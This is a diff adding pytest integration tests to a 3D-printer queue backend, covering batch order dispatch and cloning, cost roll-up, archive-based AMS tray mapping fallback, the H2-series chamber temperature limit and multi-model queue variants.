+        assert (await async_client.get(f"/api/v1/queue/batches/{batch_id}")).json()["status"] == "active"
+
+        changed = await backfill_batch_statuses(db_session)
+        assert changed >= 1
+        assert (await async_client.get(f"/api/v1/queue/batches/{batch_id}")).json()["status"] == "completed"
+
+    async def test_backfill_leaves_in_flight_batches_alone(
+        self, async_client, printer_factory, archive_factory, db_session
+    ):
+        from backend.app.services.print_batch import backfill_batch_statuses
+
+        printer = await printer_factory()
+        archive = await archive_factory()
+        response = await async_client.post(
+            "/api/v1/queue/", json={"printer_id": printer.id, "archive_id": archive.id, "quantity": 2}
+        )
+        batch_id = response.json()["batch_id"]
+
+        await backfill_batch_statuses(db_session)
+        assert (await async_client.get(f"/api/v1/queue/batches/{batch_id}")).json()["status"] == "active"
+
+    async def test_backfill_is_idempotent(self, async_client, printer_factory, archive_factory, db_session):
+        from backend.app.services.print_batch import backfill_batch_statuses
+
+        printer = await printer_factory()
+        archive = await archive_factory()
+        response = await async_client.post(
+            "/api/v1/queue/", json={"printer_id": printer.id, "archive_id": archive.id, "quantity": 1}
+        )
+        item_id = response.json()["id"]
+        await _set_status(db_session, item_id, "completed")
+        order = await _create_order(async_client, archive.id, [{"plate_id": 9, "quantity_target": 1}])
+
+        first = await backfill_batch_statuses(db_session)
+        second = await backfill_batch_statuses(db_session)
+        assert second == 0, "a second pass must have nothing left to change"
+        assert first >= 0
+        # The untouched order owes work and stays active across both passes.
+        assert (await async_client.get(f"/api/v1/queue/batches/{order['id']}")).json()["status"] == "active"
+
+    async def test_empty_shell_batches_are_not_listed(self, async_client, db_session):
+        """A grouping whose items went with their archive has nothing to show."""
+        from backend.app.models.print_batch import PrintBatch
+
+        shell = PrintBatch(name="Orphaned grouping", quantity=1, status="active")
+        db_session.add(shell)
+        await db_session.commit()
+        await db_session.refresh(shell)
+
+        listed = (await async_client.get("/api/v1/queue/batches")).json()
+        assert all(b["id"] != shell.id for b in listed)
+        # Still addressable directly — only the list hides it.
+        assert (await async_client.get(f"/api/v1/queue/batches/{shell.id}")).status_code == 200
+
+    async def test_a_new_order_is_listed_before_its_first_dispatch(self, async_client, archive_factory):
+        """Targets are enough to be worth showing — that is what it owes."""
+        archive = await archive_factory()
+        order = await _create_order(async_client, archive.id, [{"plate_id": 1, "quantity_target": 3}])
+
+        listed = (await async_client.get("/api/v1/queue/batches")).json()
+        assert any(b["id"] == order["id"] for b in listed)
+
+
+@pytest.mark.asyncio
+@pytest.mark.integration
+class TestBatchOrderDispatch:
+    async def test_dispatch_clones_the_print_configuration(
+        self, async_client, printer_factory, archive_factory, db_session
+    ):
+        printer = await printer_factory()
+        archive = await archive_factory()
+        order = await _create_order(async_client, archive.id, [{"plate_id": 2, "quantity_target": 3}])
+        source = await _queue_item(
+            async_client,
+            printer.id,
+            archive.id,
+            order["id"],
+            plate_id=2,
+            timelapse=True,
+            use_ams=False,
+            bed_levelling="off",
+            ams_mapping=[3, -1],
+        )
+
+        response = await async_client.post(f"/api/v1/queue/batches/{order['id']}/dispatch", json={})
+        assert response.status_code == 200
+        assert response.json()["remaining_count"] == 0
+        assert response.json()["pending_count"] == 3
+
+        from sqlalchemy import select
+
+        from backend.app.models.print_queue import PrintQueueItem
+
+        rows = (
+            (
+                await db_session.execute(
+                    select(PrintQueueItem).where(PrintQueueItem.batch_id == order["id"]).order_by(PrintQueueItem.id)
+                )
+            )
+            .scalars()
+            .all()
+        )
+        assert len(rows) == 3
+        clones = [r for r in rows if r.id != source["id"]]
+        for clone in clones:
+            assert clone.plate_id == 2
+            assert clone.printer_id == printer.id
+            assert clone.timelapse is True
+            assert clone.use_ams is False
+            assert clone.bed_levelling == "off"
+            assert clone.ams_mapping == "[3, -1]"
+            assert clone.status == "pending"
+            # Lifecycle state is not copied.
+            assert clone.started_at is None
+            assert clone.completed_at is None
+            assert clone.dispatch_attempts == 0
+            # Never replayed onto a clone: it would delete the source file out
+            # from under the rest of the order.
+            assert clone.cleanup_library_after_dispatch is False
+
+    async def test_clones_land_in_their_own_printer_queue(
+        self, async_client, printer_factory, archive_factory, db_session
+    ):
+        """Positions are per-printer sequences — a global MAX would scramble them."""
+        printer_a = await printer_factory()
+        printer_b = await printer_factory()
+        archive = await archive_factory()
+        order = await _create_order(
+            async_client,
+            archive.id,
+            [{"plate_id": 1, "quantity_target": 3}, {"plate_id": 2, "quantity_target": 2}],
+        )
+        # Pad printer B's queue so a global MAX would push plate 1's clones
+        # past the end of printer A's much shorter queue.
+        for _ in range(5):
+            await async_client.post("/api/v1/queue/", json={"printer_id": printer_b.id, "archive_id": archive.id})
+        await _queue_item(async_client, printer_a.id, archive.id, order["id"], plate_id=1)
+        await _queue_item(async_client, printer_b.id, archive.id, order["id"], plate_id=2)
+
+        response = await async_client.post(f"/api/v1/queue/batches/{order['id']}/dispatch", json={})
+        assert response.status_code == 200
+
+        from sqlalchemy import select
+
+        from backend.app.models.print_queue import PrintQueueItem
+
+        for printer in (printer_a, printer_b):
+            rows = (
+                (
+                    await db_session.execute(
+                        select(PrintQueueItem)
+                        .where(PrintQueueItem.printer_id == printer.id)
+                        .where(PrintQueueItem.status == "pending")
+                    )
+                )
+                .scalars()
+                .all()
+            )
+            positions = sorted(r.position for r in rows)
+            assert len(positions) == len(set(positions)), f"duplicate positions on printer {printer.id}"
+            assert positions == list(range(1, len(rows) + 1)), f"gap in printer {printer.id} queue"
+
+    async def test_clone_differs_from_its_source_only_in_lifecycle_state(
+        self, async_client, printer_factory, archive_factory, db_session
+    ):
+        """Guard for future columns.
+
+        A clone must carry every *setting* of the item it copies and reset
+        every piece of *lifecycle* state. Adding a new setting column to
+        PrintQueueItem without listing it in CLONED_SETTING_COLUMNS would make
+        the second run of a plate behave differently from the first — silently,
+        and on real hardware. This fails when that happens.
+        """
+        from sqlalchemy import inspect, select
+
+        from backend.app.models.print_queue import PrintQueueItem
+
+        printer = await printer_factory()
+        archive = await archive_factory()
+        order = await _create_order(async_client, archive.id, [{"plate_id": 1, "quantity_target": 2}])
+        source_id = (
+            await _queue_item(
+                async_client,
+                printer.id,
+                archive.id,
+                order["id"],
+                plate_id=1,
+                timelapse=True,
+                use_ams=False,
+                bed_levelling="off",
+                flow_cali="on",
+                vibration_cali=False,
+                layer_inspect=True,
+                gcode_injection=True,
+                auto_off_after=True,
+                require_previous_success=True,
+            )
+        )["id"]
+
+        # Dirty the source with scheduler state that must not be inherited.
+        source = await db_session.get(PrintQueueItem, source_id)
+        source.dispatch_attempts = 3
+        source.been_jumped = True
+        source.gate_acknowledged = True
+        source.filament_short = True
+        source.waiting_reason = "no idle printer"
+        source.error_message = "previous failure"
+        source.scheduled_time = datetime(2026, 1, 1, 12, 0, 0)
+        await db_session.commit()
+
+        assert (await async_client.post(f"/api/v1/queue/batches/{order['id']}/dispatch", json={})).status_code == 200
+
+        clone = (
+            (
+                await db_session.execute(
+                    select(PrintQueueItem)
+                    .where(PrintQueueItem.batch_id == order["id"])
+                    .where(PrintQueueItem.id != source_id)
+                )
+            )
+            .scalars()
+            .one()
+        )
+
+        # Every column that is neither identity, ordering, nor deliberately reset
+        # must match the source exactly.
+        reset_on_clone = {
+            "status",
+            "waiting_reason",
+            "been_jumped",
+            "dispatch_attempts",
+            "dispatching_at",
+            "gate_acknowledged",
+            "filament_short",
+            "error_message",
+            "started_at",
+            "completed_at",
+            "scheduled_time",
+            "cleanup_library_after_dispatch",
+        }
+        identity = {"id", "created_at", "position"}
+
+        await db_session.refresh(source)
+        for column in (c.key for c in inspect(PrintQueueItem).mapper.column_attrs):
+            if column in identity or column in reset_on_clone:
+                continue
+            assert getattr(clone, column) == getattr(source, column), (
+                f"{column} was not carried onto the clone — a new setting column probably needs adding to "
+                "CLONED_SETTING_COLUMNS"
+            )
+
+        assert clone.status == "pending"
+        assert clone.dispatch_attempts == 0
+        assert clone.been_jumped is False
+        assert clone.gate_acknowledged is False
+        assert clone.filament_short is False
+        assert clone.waiting_reason is None
+        assert clone.error_message is None
+        assert clone.started_at is None and clone.completed_at is None
+        # "Queue the rest now" must not replay a moment chosen for a different print.
+        assert clone.scheduled_time is None
+        # Would delete the source file out from under the rest of the order.
+        assert clone.cleanup_library_after_dispatch is False
+
+    async def test_dispatch_respects_limit(self, async_client, printer_factory, archive_factory):
+        printer = await printer_factory()
+        archive = await archive_factory()
+        order = await _create_order(async_client, archive.id, [{"plate_id": 1, "quantity_target": 10}])
+        await _queue_item(async_client, printer.id, archive.id, order["id"], plate_id=1)
+
+        result = (await async_client.post(f"/api/v1/queue/batches/{order['id']}/dispatch", json={"limit": 4})).json()
+        assert result["pending_count"] == 5  # the original plus four
+        assert result["remaining_count"] == 5
+
+    async def test_dispatch_can_target_a_single_plate(self, async_client, printer_factory, archive_factory):
+        printer = await printer_factory()
+        archive = await archive_factory()
+        order = await _create_order(
+            async_client,
+            archive.id,
+            [{"plate_id": 1, "quantity_target": 2}, {"plate_id": 2, "quantity_target": 2}],
+        )
+        await _queue_item(async_client, printer.id, archive.id, order["id"], plate_id=1)
+        await _queue_item(async_client, printer.id, archive.id, order["id"], plate_id=2)
+
+        result = (
+            await async_client.post(
+                f"/api/v1/queue/batches/{order['id']}/dispatch",
+                json={"plate_id": 2, "only_plate": True},
+            )
+        ).json()
+        plate_one = next(p for p in result["plates"] if p["plate_id"] == 1)
+        plate_two = next(p for p in result["plates"] if p["plate_id"] == 2)
+        assert plate_one["remaining"] == 1
+        assert plate_two["remaining"] == 0
+
+    async def test_dispatch_without_a_reference_item_is_rejected(self, async_client, archive_factory):
+        """Nothing to clone means no configuration to copy — say so, don't guess."""
+        archive = await archive_factory()
+        order = await _create_order(async_client, archive.id, [{"plate_id": 4, "quantity_target": 2}])
+
+        response = await async_client.post(f"/api/v1/queue/batches/{order['id']}/dispatch", json={})
+        assert response.status_code == 400
+        assert "no queued or finished run" in response.json()["detail"]
+
+    async def test_dispatch_on_legacy_batch_is_a_noop(self, async_client, printer_factory, archive_factory):
+        printer = await printer_factory()
+        archive = await archive_factory()
+        response = await async_client.post(
+            "/api/v1/queue/", json={"printer_id": printer.id, "archive_id": archive.id, "quantity": 2}
+        )
+        batch_id = response.json()["batch_id"]
+
+        result = (await async_client.post(f"/api/v1/queue/batches/{batch_id}/dispatch", json={})).json()
+        assert result["pending_count"] == 2
+
+    async def test_cannot_dispatch_a_cancelled_order(self, async_client, printer_factory, archive_factory):
+        printer = await printer_factory()
+        archive = await archive_factory()
+        order = await _create_order(async_client, archive.id, [{"plate_id": 1, "quantity_target": 3}])
+        await _queue_item(async_client, printer.id, archive.id, order["id"], plate_id=1)
+        await async_client.delete(f"/api/v1/queue/batches/{order['id']}")
+
+        response = await async_client.post(f"/api/v1/queue/batches/{order['id']}/dispatch", json={})
+        assert response.status_code == 400
+        assert "cancelled" in response.json()["detail"]
+
+    async def test_redispatch_after_failure_replaces_the_burned_run(
+        self, async_client, printer_factory, archive_factory, db_session
+    ):
+        """End to end: 2 wanted, 1 completes, 1 fails, dispatch queues the replacement."""
+        printer = await printer_factory()
+        archive = await archive_factory()
+        order = await _create_order(async_client, archive.id, [{"plate_id": 1, "quantity_target": 2}])
+        first = await _queue_item(async_client, printer.id, archive.id, order["id"], plate_id=1)
+        second = await _queue_item(async_client, printer.id, archive.id, order["id"], plate_id=1)
+        await _set_status(db_session, first["id"], "completed")
+        await _set_status(db_session, second["id"], "failed")
+
+        result = (await async_client.post(f"/api/v1/queue/batches/{order['id']}/dispatch", json={})).json()
+        assert result["pending_count"] == 1
+        assert result["remaining_count"] == 0
+        assert result["status"] == "active"
+
+
+@pytest.mark.asyncio
+@pytest.mark.integration
+class TestBatchOrderHeader:
+    async def test_header_fields_round_trip(self, async_client, archive_factory):
+        archive = await archive_factory()
+        order = await _create_order(
+            async_client,
+            archive.id,
+            [{"plate_id": 1, "quantity_target": 1}],
+            due_date="2026-09-01T12:00:00",
+            notes="Rush job",
+        )
+        assert order["notes"] == "Rush job"
+        assert order["due_date"].startswith("2026-09-01T12:00:00")
+
+        patched = (
+            await async_client.patch(
+                f"/api/v1/queue/batches/{order['id']}", json={"name": "Renamed", "notes": "Updated"}
+            )
+        ).json()
+        assert patched["name"] == "Renamed"
+        assert patched["notes"] == "Updated"
+
+    async def test_unknown_project_is_rejected(self, async_client, archive_factory):
+        archive = await archive_factory()
+        response = await async_client.post(
+            "/api/v1/queue/batches",
+            json={
+                "name": "Order",
+                "archive_id": archive.id,
+                "project_id": 999999,
+                "plates": [{"plate_id": 1, "quantity_target": 1}],
+            },
+        )
+        assert response.status_code == 404
+
+    async def test_patch_replaces_the_target_set(self, async_client, archive_factory):
+        """A plate omitted from the payload has its target row removed."""
+        archive = await archive_factory()
+        order = await _create_order(
+            async_client,
+            archive.id,
+            [{"plate_id": 1, "quantity_target": 1}, {"plate_id": 2, "quantity_target": 1}],
+        )
+        patched = (
+            await async_client.patch(
+                f"/api/v1/queue/batches/{order['id']}",
+                json={"plates": [{"plate_id": 1, "quantity_target": 5}]},
+            )
+        ).json()
+        assert [p["plate_id"] for p in patched["plates"]] == [1]
+        assert patched["target_count"] == 5
+
+
+@pytest.mark.asyncio
+@pytest.mark.integration
+class TestBatchOrderCost:
+    async def test_cost_rolls_up_from_logged_runs(self, async_client, printer_factory, archive_factory, db_session):
+        """Cost is attributed through queue_item_id, not guessed from the archive."""
+        from backend.app.models.print_log import PrintLogEntry
+
+        printer = await printer_factory()
+        archive = await archive_factory()
+        order = await _create_order(async_client, archive.id, [{"plate_id": 1, "quantity_target": 4}])
+        first = await _queue_item(async_client, printer.id, archive.id, order["id"], plate_id=1)
+        second = await _queue_item(async_client, printer.id, archive.id, order["id"], plate_id=1)
+        await _set_status(db_session, first["id"], "completed")
+        await _set_status(db_session, second["id"], "completed")
+
+        db_session.add(
+            PrintLogEntry(
+                archive_id=archive.id,
+                queue_item_id=first["id"],
+                status="completed",
+                cost=2.0,
+                energy_cost=0.5,
+                filament_used_grams=40.0,
+            )
+        )
+        db_session.add(
+            PrintLogEntry(
+                archive_id=archive.id,
+                queue_item_id=second["id"],
+                status="completed",
+                cost=3.0,
+                energy_cost=0.5,
+                filament_used_grams=60.0,
+            )
+        )
+        # A run of the same archive that has nothing to do with this order.
+        db_session.add(PrintLogEntry(archive_id=archive.id, queue_item_id=None, status="completed", cost=99.0))
+        await db_session.commit()
+
+        result = (await async_client.get(f"/api/v1/queue/batches/{order['id']}")).json()
+        assert result["actual_cost"] == pytest.approx(6.0)
+        assert result["filament_used_grams"] == pytest.approx(100.0)
+        # Two completed at 3.00 each, two still owed.
+        assert result["estimated_remaining_cost"] == pytest.approx(6.0)
+
+    async def test_cost_is_unknown_not_zero_before_the_first_run(self, async_client, printer_factory, archive_factory):
+        printer = await printer_factory()
+        archive = await archive_factory()
+        order = await _create_order(async_client, archive.id, [{"plate_id": 1, "quantity_target": 2}])
+        await _queue_item(async_client, printer.id, archive.id, order["id"], plate_id=1)
+
+        result = (await async_client.get(f"/api/v1/queue/batches/{order['id']}")).json()
+        assert result["actual_cost"] is None
+        assert result["estimated_remaining_cost"] is None

+ 205 - 0
backend/tests/integration/test_print_queue_api.py

@@ -438,6 +438,211 @@ class TestPrintQueueAPI:
         assert result["archive_id"] == archive.id
         assert result["ams_mapping"] == [5, -1, 2, -1]
 
+    @pytest.mark.asyncio
+    @pytest.mark.integration
+    async def test_add_to_queue_falls_back_to_archive_slicer_ams_mapping_when_unset(
+        self, async_client: AsyncClient, printer_factory, archive_factory, db_session
+    ):
+        """When the caller sends no explicit ams_mapping, but the archive
+        carries the slicer's own saved pick for this exact printer
+        (extra_data.slicer_ams_mapping, written by a VP with "Save AMS
+        mapping" on), the queue item should inherit it — the same
+        exact-physical-spool reuse the "Mapping" button gives you, but
+        automatic when nothing was hand-edited.
+        """
+        printer = await printer_factory()
+        archive = await archive_factory(
+            extra_data={"slicer_ams_mapping": {"mapping": [5, -1, 2, -1], "printer_id": printer.id}}
+        )
+
+        data = {
+            "printer_id": printer.id,
+            "archive_id": archive.id,
+        }
+        response = await async_client.post("/api/v1/queue/", json=data)
+        assert response.status_code == 200
+        result = response.json()
+        assert result["ams_mapping"] == [5, -1, 2, -1]
+
+    @pytest.mark.asyncio
+    @pytest.mark.integration
+    async def test_add_to_queue_ignores_archive_slicer_ams_mapping_for_different_printer(
+        self, async_client: AsyncClient, printer_factory, archive_factory, db_session
+    ):
+        """A saved mapping's tray IDs only mean something relative to the
+        printer they were resolved against. Reprinting the same archive on a
+        *different* printer must not inherit it — tray 5 on printer A can
+        hold a completely different spool than tray 5 on printer B.
+        """
+        origin_printer = await printer_factory()
+        other_printer = await printer_factory()
+        archive = await archive_factory(
+            extra_data={"slicer_ams_mapping": {"mapping": [5, -1, 2, -1], "printer_id": origin_printer.id}}
+        )
+
+        data = {
+            "printer_id": other_printer.id,
+            "archive_id": archive.id,
+        }
+        response = await async_client.post("/api/v1/queue/", json=data)
+        assert response.status_code == 200
+        result = response.json()
+        assert result["ams_mapping"] is None
+
+    @pytest.mark.asyncio
+    @pytest.mark.integration
+    async def test_add_to_queue_ignores_archive_slicer_ams_mapping_for_model_based_dispatch(
+        self, async_client: AsyncClient, printer_factory, archive_factory, db_session
+    ):
+        """A model-based item (no fixed printer_id) can't know in advance
+        which printer the scheduler will pick, so a saved mapping resolved
+        against one specific printer must never be inherited here either.
+        """
+        origin_printer = await printer_factory()
+        archive = await archive_factory(
+            extra_data={"slicer_ams_mapping": {"mapping": [5, -1, 2, -1], "printer_id": origin_printer.id}}
+        )
+
+        data = {
+            "target_model": "X1C",
+            "archive_id": archive.id,
+        }
+        response = await async_client.post("/api/v1/queue/", json=data)
+        assert response.status_code == 200
+        result = response.json()
+        assert result["ams_mapping"] is None
+
+    @pytest.mark.asyncio
+    @pytest.mark.integration
+    async def test_add_to_queue_explicit_ams_mapping_wins_over_archive_fallback(
+        self, async_client: AsyncClient, printer_factory, archive_factory, db_session
+    ):
+        """An explicit ams_mapping in the request (e.g. from the filament
+        mapping panel) must take priority over the archive's saved slicer
+        pick — the fallback only fires when the caller sent nothing at all.
+        """
+        printer = await printer_factory()
+        archive = await archive_factory(
+            extra_data={"slicer_ams_mapping": {"mapping": [5, -1, 2, -1], "printer_id": printer.id}}
+        )
+
+        data = {
+            "printer_id": printer.id,
+            "archive_id": archive.id,
+            "ams_mapping": [9, -1, 1, -1],
+        }
+        response = await async_client.post("/api/v1/queue/", json=data)
+        assert response.status_code == 200
+        result = response.json()
+        assert result["ams_mapping"] == [9, -1, 1, -1]
+
+    @pytest.mark.asyncio
+    @pytest.mark.integration
+    async def test_add_to_queue_archive_extra_data_without_slicer_mapping_key_not_used(
+        self, async_client: AsyncClient, printer_factory, archive_factory, db_session
+    ):
+        """extra_data present but without a slicer_ams_mapping key (the
+        common case — most archives have other metadata but no saved slicer
+        mapping) must not accidentally trip the fallback."""
+        printer = await printer_factory()
+        archive = await archive_factory(extra_data={"filament_slots": []})
+
+        data = {
+            "printer_id": printer.id,
+            "archive_id": archive.id,
+        }
+        response = await async_client.post("/api/v1/queue/", json=data)
+        assert response.status_code == 200
+        result = response.json()
+        assert result["ams_mapping"] is None
+
+    @pytest.mark.asyncio
+    @pytest.mark.integration
+    async def test_add_to_queue_force_color_match_overrides_beat_the_archive_fallback(
+        self, async_client: AsyncClient, printer_factory, archive_factory, db_session
+    ):
+        """Force-color-match overrides are the caller asking the scheduler to
+        match strictly against the printer's live trays, and they are only ever
+        applied inside `_compute_ams_mapping_for_printer` — the function a
+        stored mapping makes the scheduler skip. Inheriting the saved mapping
+        here would silently retire the strictness that was just requested
+        (#2700 review).
+        """
+        printer = await printer_factory()
+        archive = await archive_factory(
+            extra_data={"slicer_ams_mapping": {"mapping": [5, -1, 2, -1], "printer_id": printer.id}}
+        )
+
+        data = {
+            "printer_id": printer.id,
+            "archive_id": archive.id,
+            "filament_overrides": [
+                {"slot_id": 1, "type": "PLA", "color": "#FF0000", "force_color_match": True},
+            ],
+        }
+        response = await async_client.post("/api/v1/queue/", json=data)
+        assert response.status_code == 200
+        result = response.json()
+        assert result["ams_mapping"] is None
+
+    @pytest.mark.asyncio
+    @pytest.mark.integration
+    async def test_add_to_queue_plain_overrides_still_allow_the_archive_fallback(
+        self, async_client: AsyncClient, printer_factory, archive_factory, db_session
+    ):
+        """Only force_color_match stands the fallback down. A plain preference
+        override is a filament swap, not a request for live colour matching, so
+        the saved mapping is still the best starting point.
+        """
+        printer = await printer_factory()
+        archive = await archive_factory(
+            extra_data={"slicer_ams_mapping": {"mapping": [5, -1, 2, -1], "printer_id": printer.id}}
+        )
+
+        data = {
+            "printer_id": printer.id,
+            "archive_id": archive.id,
+            "filament_overrides": [{"slot_id": 1, "type": "PLA", "color": "#FF0000"}],
+        }
+        response = await async_client.post("/api/v1/queue/", json=data)
+        assert response.status_code == 200
+        result = response.json()
+        assert result["ams_mapping"] == [5, -1, 2, -1]
+
+    @pytest.mark.asyncio
+    @pytest.mark.integration
+    async def test_queue_response_flags_saved_mapping_only_for_its_own_printer(
+        self, async_client: AsyncClient, printer_factory, archive_factory, db_session
+    ):
+        """`archive_has_slicer_ams_mapping` drives a badge that claims the
+        print reuses the slicer's exact trays. Global tray IDs mean nothing on
+        another printer, so the flag must be false for a row targeting one —
+        otherwise the badge is there while nothing is reused (#2700 review).
+        """
+        origin_printer = await printer_factory()
+        other_printer = await printer_factory()
+        archive = await archive_factory(
+            extra_data={"slicer_ams_mapping": {"mapping": [5, -1, 2, -1], "printer_id": origin_printer.id}}
+        )
+
+        own = await async_client.post(
+            "/api/v1/queue/", json={"printer_id": origin_printer.id, "archive_id": archive.id}
+        )
+        assert own.status_code == 200
+        assert own.json()["archive_has_slicer_ams_mapping"] is True
+
+        foreign = await async_client.post(
+            "/api/v1/queue/", json={"printer_id": other_printer.id, "archive_id": archive.id}
+        )
+        assert foreign.status_code == 200
+        assert foreign.json()["archive_has_slicer_ams_mapping"] is False
+
+        # Model-based: the scheduler hasn't picked a printer yet, so the
+        # mapping is not reused there either.
+        model_based = await async_client.post("/api/v1/queue/", json={"target_model": "X1C", "archive_id": archive.id})
+        assert model_based.status_code == 200
+        assert model_based.json()["archive_has_slicer_ams_mapping"] is False
+
     @pytest.mark.asyncio
     @pytest.mark.integration
     async def test_add_to_queue_with_plate_id(

+ 18 - 0
backend/tests/integration/test_printers_api.py

@@ -3840,6 +3840,24 @@ class TestSetChamberTemperatureAPI:
         response = await async_client.post(f"/api/v1/printers/{printer.id}/temperature/chamber?target=100")
         assert response.status_code == 422
 
+    @pytest.mark.asyncio
+    @pytest.mark.integration
+    async def test_ceiling_is_65_not_60(self, async_client: AsyncClient, printer_factory):
+        """The H2 series heats the chamber to 65 °C — 65 must be accepted and
+        66 rejected. The route used to cap at 60, which put the top of the H2D
+        range out of reach."""
+        printer = await printer_factory(name="P", model="H2D")
+        mock_client = MagicMock()
+        mock_client.set_chamber_temperature.return_value = True
+        with patch("backend.app.api.routes.printers.printer_manager") as mock_pm:
+            mock_pm.get_client.return_value = mock_client
+            accepted = await async_client.post(f"/api/v1/printers/{printer.id}/temperature/chamber?target=65")
+        assert accepted.status_code == 200
+        mock_client.set_chamber_temperature.assert_called_once_with(65)
+
+        rejected = await async_client.post(f"/api/v1/printers/{printer.id}/temperature/chamber?target=66")
+        assert rejected.status_code == 422
+
     @pytest.mark.asyncio
     @pytest.mark.integration
     async def test_client_failure_returns_500(self, async_client: AsyncClient, printer_factory):

+ 297 - 0
backend/tests/integration/test_queue_variants_api.py

@@ -0,0 +1,297 @@
+"""Queueing a job with cross-model alternatives (#671).
+
+One queue item, several sliced files, whichever printer frees up first. The
+create endpoint's job is to refuse candidate sets that cannot mean what the user
+intends, because after this point the scheduler dispatches to hardware with no
+human in the loop.
+"""
+
+import pytest
+from httpx import AsyncClient
+from sqlalchemy import select
+
+
+@pytest.fixture
+async def sliced_file_factory(db_session):
+    _counter = [0]
+
+    async def _create(model: str | None = "H2S", **kwargs):
+        from backend.app.models.library import LibraryFile
+
+        _counter[0] += 1
+        defaults = {
+            "filename": f"job_{_counter[0]}.gcode.3mf",
+            "file_path": f"/test/job_{_counter[0]}.gcode.3mf",
+            "file_size": 100,
+            "file_type": "gcode.3mf",
+            "file_metadata": {"sliced_for_model": model} if model else {},
+        }
+        defaults.update(kwargs)
+        f = LibraryFile(**defaults)
+        db_session.add(f)
+        await db_session.commit()
+        await db_session.refresh(f)
+        return f
+
+    return _create
+
+
+async def _queue_variants(client: AsyncClient, *file_ids: int, **extra):
+    payload = {"variants": [{"library_file_id": fid} for fid in file_ids]}
+    payload.update(extra)
+    return await client.post("/api/v1/queue/", json=payload)
+
+
+async def _variants_of(db_session, item_id: int):
+    from backend.app.models.print_queue import PrintQueueVariant
+
+    rows = (
+        (
+            await db_session.execute(
+                select(PrintQueueVariant)
+                .where(PrintQueueVariant.queue_item_id == item_id)
+                .order_by(PrintQueueVariant.position)
+            )
+        )
+        .scalars()
+        .all()
+    )
+    return rows
+
+
+class TestQueueWithVariants:
+    @pytest.mark.asyncio
+    @pytest.mark.integration
+    async def test_creates_one_item_with_a_candidate_per_file(
+        self, async_client, db_session, sliced_file_factory, printer_factory
+    ):
+        await printer_factory(model="H2S")
+        await printer_factory(model="H2C")
+        h2s = await sliced_file_factory("H2S")
+        h2c = await sliced_file_factory("H2C")
+
+        r = await _queue_variants(async_client, h2s.id, h2c.id)
+        assert r.status_code == 200
+        item_id = r.json()["id"]
+
+        variants = await _variants_of(db_session, item_id)
+        assert [v.target_model for v in variants] == ["H2S", "H2C"]
+        assert [v.position for v in variants] == [0, 1]
+
+    @pytest.mark.asyncio
+    @pytest.mark.integration
+    async def test_the_item_holds_no_file_of_its_own(
+        self, async_client, db_session, sliced_file_factory, printer_factory
+    ):
+        """library_file_id is ON DELETE CASCADE. Pointing it at one candidate
+        would mean deleting that single alternative destroys the whole job."""
+        from backend.app.models.print_queue import PrintQueueItem
+
+        await printer_factory(model="H2S")
+        await printer_factory(model="H2C")
+        h2s = await sliced_file_factory("H2S")
+        h2c = await sliced_file_factory("H2C")
+
+        item_id = (await _queue_variants(async_client, h2s.id, h2c.id)).json()["id"]
+        item = (await db_session.execute(select(PrintQueueItem).where(PrintQueueItem.id == item_id))).scalar_one()
+        assert item.library_file_id is None
+        assert item.archive_id is None
+        assert item.target_model == "H2S", "mirrors the first candidate so the card has a label"
+
+    @pytest.mark.asyncio
+    @pytest.mark.integration
+    async def test_deleting_one_candidate_leaves_the_job_and_its_sibling(
+        self, async_client, db_session, sliced_file_factory, printer_factory
+    ):
+        from backend.app.models.print_queue import PrintQueueItem
+
+        await printer_factory(model="H2S")
+        await printer_factory(model="H2C")
+        h2s = await sliced_file_factory("H2S")
+        h2c = await sliced_file_factory("H2C")
+        item_id = (await _queue_variants(async_client, h2s.id, h2c.id)).json()["id"]
+
+        # Trash, then permanently delete — the only path that actually removes
+        # the row. SQLite has PRAGMA foreign_keys off, so nothing cleans the
+        # candidate up on its own.
+        assert (await async_client.delete(f"/api/v1/library/files/{h2s.id}")).status_code == 200
+        assert (await async_client.delete(f"/api/v1/library/trash/{h2s.id}")).status_code == 200
+
+        item = (
+            await db_session.execute(select(PrintQueueItem).where(PrintQueueItem.id == item_id))
+        ).scalar_one_or_none()
+        assert item is not None, "the job survives losing one alternative"
+        remaining = await _variants_of(db_session, item_id)
+        assert [v.target_model for v in remaining] == ["H2C"], "no row left pointing at a deleted file"
+
+    @pytest.mark.asyncio
+    @pytest.mark.integration
+    async def test_rejects_a_specific_printer(self, async_client, sliced_file_factory, printer_factory):
+        """Naming a printer defeats the entire purpose of offering alternatives."""
+        printer = await printer_factory(model="H2S")
+        await printer_factory(model="H2C")
+        h2s = await sliced_file_factory("H2S")
+        h2c = await sliced_file_factory("H2C")
+
+        r = await _queue_variants(async_client, h2s.id, h2c.id, printer_id=printer.id)
+        assert r.status_code == 400
+        assert "printer_id" in r.json()["detail"]
+
+    @pytest.mark.asyncio
+    @pytest.mark.integration
+    async def test_rejects_a_file_alongside_the_variants(self, async_client, sliced_file_factory, printer_factory):
+        await printer_factory(model="H2S")
+        await printer_factory(model="H2C")
+        h2s = await sliced_file_factory("H2S")
+        h2c = await sliced_file_factory("H2C")
+        other = await sliced_file_factory("H2D")
+
+        r = await _queue_variants(async_client, h2s.id, h2c.id, library_file_id=other.id)
+        assert r.status_code == 400
+
+    @pytest.mark.asyncio
+    @pytest.mark.integration
+    async def test_rejects_two_candidates_for_the_same_printer(
+        self, async_client, sliced_file_factory, printer_factory
+    ):
+        await printer_factory(model="H2S")
+        a = await sliced_file_factory("H2S")
+        b = await sliced_file_factory("H2S")
+
+        r = await _queue_variants(async_client, a.id, b.id)
+        assert r.status_code == 400
+        assert "different printers" in r.json()["detail"]
+
+    @pytest.mark.asyncio
+    @pytest.mark.integration
+    async def test_rejects_the_same_file_twice(self, async_client, sliced_file_factory, printer_factory):
+        await printer_factory(model="H2S")
+        f = await sliced_file_factory("H2S")
+
+        r = await _queue_variants(async_client, f.id, f.id)
+        assert r.status_code == 400
+
+    @pytest.mark.asyncio
+    @pytest.mark.integration
+    async def test_cross_model_gate_applies_to_every_candidate(
+        self, async_client, sliced_file_factory, printer_factory
+    ):
+        """A set is only as safe as its worst member."""
+        await printer_factory(model="H2S")
+        await printer_factory(model="H2C")
+        good = await sliced_file_factory("H2S")
+        # Declares X1C but is offered as an H2C candidate.
+        bad = await sliced_file_factory("X1C")
+
+        r = await async_client.post(
+            "/api/v1/queue/",
+            json={
+                "variants": [
+                    {"library_file_id": good.id},
+                    {"library_file_id": bad.id, "target_model": "H2C"},
+                ]
+            },
+        )
+        assert r.status_code == 400
+        assert "sliced for X1C" in r.json()["detail"]
+
+    @pytest.mark.asyncio
+    @pytest.mark.integration
